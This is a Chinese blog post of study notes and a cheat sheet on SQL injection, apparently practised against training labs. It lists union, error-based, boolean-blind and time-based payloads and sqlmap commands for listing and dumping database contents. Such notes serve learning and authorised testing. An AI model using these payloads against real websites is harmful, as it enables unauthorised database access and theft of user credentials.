• sql注入


    sql 注入

    ?id=1 order by 3
    ?id=-1 union select 1,2,3
    ?id=-1 union select 1,database(),version()
    ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
    ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
    ?id=-1 union select 1,2,group_concat(username ,id , password) from users
    url 编码   # = %23  
                  % =  %25  
                  空格  =  +  
           单引号‘ =  %27  
                )= %29
                ,= %2c
                 \  = %5c 

    数字型注入

    无需“  ”或 ‘ ’

    可用  eg:  ?id=5-1  如果执行id=4,说明执行了5-1,存在数字型注入
    select name from member where id=1 order by 2    ordey by 可以判断出表中有几个字段
    select name,sex  from member where id=1    union  select  user(),database()   union  联合查询,查询字段数量需要与前面一个select 查询的字段数量 个数一致
    union select 1,2  ,可凑字段
    手工注入:
    查库名:
    union select 1,schema_name from information_schema.schemata limit 0,1
    查表名:
    union select 1,table_name from information_schema.tables where table_schema = "mysql" limit 0,1
    查字段名:
    union select 1,column_name from information_schema.columns where table_name = 'user' and table_schema= "mysql" limit 0,1

    字符型注入

    1' union select 1,2#
    1' union select 1,2'

    搜索型注入

    a%' order by 3#

    靶场xx型注入

    ') order by 2--+

    insert/update 注入

    区别于显错注入,正常情况下网页不会显示任何错误内容,可通过盲注进行注入。但是也可以利用特殊的函数来使数据库报错,将我们要查询的内容通过报错的形式显示出来。
    报错注入常用函数:
    updatexml()
    updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值。
    语法:UPDATEXML(xml document,XPathstring,new_value)
    第一个参数: filedname是String格式,为表中的字段名。
    第二个参数: XPathstring (Xpath格式的字符串)。
    第三个参数: new. value,String格式,替换查找到的符合条件的
    extractvalue()
    extractvalue()函数作用:从目标XML中返回包含所查询值的字符串。
    语法: ExtractValue(xm| _document, xpath. string)
    第一个参数: XML document是String格式,为XML文档对象的名称,文中为Doc
    第二个参数: XPath_ string (Xpath格式的字符串)

    delete 注入

    http header注入

    在http 请求文件中,在后加入’或 “ ,进行试错,查出是否存在sql注入

    盲注布尔型

    判断是否是布尔型盲注,可以观察页面是否给出反馈,可以构造一个
    1' or 1=1#
    1' and 1=2#
    1') or 1=1#
    1") or 1=1#
    查看是否有反馈
    利用了应用程序在处理查询时返回的布尔(真/假)结果。攻击者通过构造判断语句,并观察应用程序的不同响应来确定查询的真假,由此获取数据。
    vince'# (vince 只是一个名字)
    vince' and (ascii(substr(database(),1,1)))=112#
    所有库名:
    vince' and (ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=115#
    表名:
    vince' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101#
    get请求要进行url编码
    或者直接选中  ctrl+u  进行url编码

    盲注时间型

    通过休眠时间来确定if语句中判断的值是否正确
    admin'  or  if(ascii(substr(database(),1,1))>120, sleep(2) , 0 )#
    select updatexml(“abc”,"//div/p/text()","abcd")   的意思是把"abc"换成"abcd" ,而服务器要通过xpath路径"//div/p/text()"找到"abc"  。
    这时如果xpath路径格式出错了,则会把校验xpath路径后的结果通过报错信息显示出来,如果我们把xpath路径改成我们想知道的信息,结果就会通过报错信息显示出来。

    sqlmap的使用

    sqlmap -u url --dbs #获取数据库
    sqlmap -u url --current-user #获取当前用户名称 :
    sqlmap -u url --current-db #获取当前数据库名称
    sqlmap -u url -D 数据库名 --tables   #列出表名 : 
    sqlmap -u url -D 数据库名 -T 表名 --columns #列出字段 
    sqlmap -u url -D 数据库名 -T 表名 -C 字段名1,字段名2,…… --dump #获取字段内容

    GET型注入一般用 sqlmap -u url

    POST型注入一般用 sqlmap -u url --data POST参数

    如果需要增加cookie或其他请求头 可将请求保存到文本中,如request.txt,则用sqlmap -r request.txt(经常配合burpsuite使用,直接将请求包保存到文件,然后使用sqlmap -r 来进行sql注入)

    --level 5  探测等级(1~5 默认为1,等级越高Payload越多,速度也比较慢)
  • 相关阅读:
    【大数据毕设】基于Hadoop的招聘网站可视化的设计与实现(一)
    力扣:655. 输出二叉树
    免费开源漏扫软件 Nessus
    SQL中:语法总结(group by,having ,distinct,top,order by,like等等)
    【leetcode】最长斐波那契数列
    Layui + Flask | 弹出层(组件篇)(04)
    A-Level商务例题解析及练习Income Statement
    按照C++语言程序结构组成数字电路进行计算的计算机
    vue3-新特性
    测试工程师面试之项目介绍
  • 原文地址:https://blog.csdn.net/m0_55628907/article/details/132618099